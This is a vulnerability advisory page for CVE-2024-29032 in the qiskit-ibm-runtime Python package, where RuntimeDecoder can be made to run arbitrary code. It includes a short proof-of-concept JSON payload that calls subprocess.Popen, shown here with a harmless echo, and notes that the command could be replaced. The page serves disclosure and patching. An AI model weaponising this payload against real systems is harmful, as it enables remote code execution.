PYSEC-2026-1858

Vulnerability from pysec - Published: 2026-07-07 11:45 - Updated: 2026-07-07 17:25
VLAI
Details

Summary

deserializing json data using qiskit_ibm_runtime.RuntimeDecoder can be made to execute arbitrary code given a correctly formatted input string

Details

RuntimeDecoder is supposed to be able to deserialize JSON strings containing various special types encoded via RuntimeEncoder. However, one can structure a malicious payload to cause the decoder to spawn a subprocess and execute arbitrary code, exploiting this block of code: https://github.com/Qiskit/qiskit-ibm-runtime/blob/16e90f475e78a9d2ae77daa139ef750cfa84ca82/qiskit_ibm_runtime/utils/json.py#L156-L159

PoC

malicious_data = {
    "__type__": "settings",
    "__module__": "subprocess",
    "__class__": "Popen",
    "__value__": {
        "args": ["echo", "hi"]
    },
}
json_str = json.dumps(malicious_data)

_ = json.loads(json_str, cls=qiskit_ibm_runtime.RuntimeDecoder)  # prints "hi" to the terminal

(where obviously "echo hi" can be replaced with something much more malicious)

notably the following also makes it through the runtime API, with malicious_data serialized client-side via RuntimeEncoder (and therefore presumably deserialized server-side via RuntimeDecoder?)

service = qiskit_ibm_runtime(<ibm_cloud_credentials>)
job = service.run("qasm3-runner", malicious_data)
print(job.status())  # prints "JobStatus.QUEUED"

Impact

i don't know if qiskit_ibm_runtime.RuntimeDecoder is used server-side so this may or may not be a serious vulnerability on your end (however it's definitely a security hole for anyone using the library to deserialize third-party data)

Severity
5.3 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Impacted products
Name purl
qiskit-ibm-runtime pkg:pypi/qiskit-ibm-runtime
Aliases
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "qiskit-ibm-runtime",
        "purl": "pkg:pypi/qiskit-ibm-runtime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.1.0"
            },
            {
              "fixed": "0.21.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1.0",
        "0.1.1",
        "0.10.0",
        "0.11.0",
        "0.11.1",
        "0.11.2",
        "0.11.3",
        "0.12.0",
        "0.12.1",
        "0.12.2",
        "0.13.0",
        "0.14.0",
        "0.15.0",
        "0.15.1",
        "0.16.0",
        "0.16.1",
        "0.17.0",
        "0.18.0",
        "0.19.0",
        "0.19.1",
        "0.2.0",
        "0.20.0",
        "0.21.0",
        "0.21.1",
        "0.3.0",
        "0.4.0",
        "0.5.0",
        "0.6.0",
        "0.6.1",
        "0.6.2",
        "0.7.0",
        "0.7.0rc1",
        "0.7.0rc2",
        "0.8.0",
        "0.9.0",
        "0.9.1",
        "0.9.2",
        "0.9.3",
        "0.9.4"
      ]
    }
  ],
  "aliases": [
    "CVE-2024-29032",
    "GHSA-x4x5-jv3x-9c7m"
  ],
  "details": "### Summary\n\ndeserializing json data using `qiskit_ibm_runtime.RuntimeDecoder` can be made to execute arbitrary code given a correctly formatted input string\n\n### Details\n\n`RuntimeDecoder` is supposed to be able to deserialize JSON strings containing various special types encoded via `RuntimeEncoder`. However, one can structure a malicious payload to cause the decoder to spawn a subprocess and execute arbitrary code, exploiting this block of code: https://github.com/Qiskit/qiskit-ibm-runtime/blob/16e90f475e78a9d2ae77daa139ef750cfa84ca82/qiskit_ibm_runtime/utils/json.py#L156-L159\n\n### PoC\n\n```python\nmalicious_data = {\n    \"__type__\": \"settings\",\n    \"__module__\": \"subprocess\",\n    \"__class__\": \"Popen\",\n    \"__value__\": {\n        \"args\": [\"echo\", \"hi\"]\n    },\n}\njson_str = json.dumps(malicious_data)\n\n_ = json.loads(json_str, cls=qiskit_ibm_runtime.RuntimeDecoder)  # prints \"hi\" to the terminal\n```\n(where obviously \"echo hi\" can be replaced with something much more malicious)\n\nnotably the following also makes it through the runtime API, with `malicious_data` serialized client-side via `RuntimeEncoder` (and therefore presumably deserialized server-side via `RuntimeDecoder`?)\n```python\nservice = qiskit_ibm_runtime(\u003cibm_cloud_credentials\u003e)\njob = service.run(\"qasm3-runner\", malicious_data)\nprint(job.status())  # prints \"JobStatus.QUEUED\"\n```\n\n### Impact\n\ni don\u0027t know if `qiskit_ibm_runtime.RuntimeDecoder` is used server-side so this may or may not be a serious vulnerability on your end (however it\u0027s definitely a security hole for anyone using the library to deserialize third-party data)",
  "id": "PYSEC-2026-1858",
  "modified": "2026-07-07T17:25:15.338659Z",
  "published": "2026-07-07T11:45:35.805433Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Qiskit/qiskit-ibm-runtime/security/advisories/GHSA-x4x5-jv3x-9c7m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29032"
    },
    {
      "type": "FIX",
      "url": "https://github.com/Qiskit/qiskit-ibm-runtime/commit/b78fca114133051805d00043a404b25a33835f4d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Qiskit/qiskit-ibm-runtime"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Qiskit/qiskit-ibm-runtime/blob/16e90f475e78a9d2ae77daa139ef750cfa84ca82/qiskit_ibm_runtime/utils/json.py#L156-L159"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/qiskit-ibm-runtime"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-x4x5-jv3x-9c7m"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "`qiskit_ibm_runtime.RuntimeDecoder` can execute arbitrary code"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.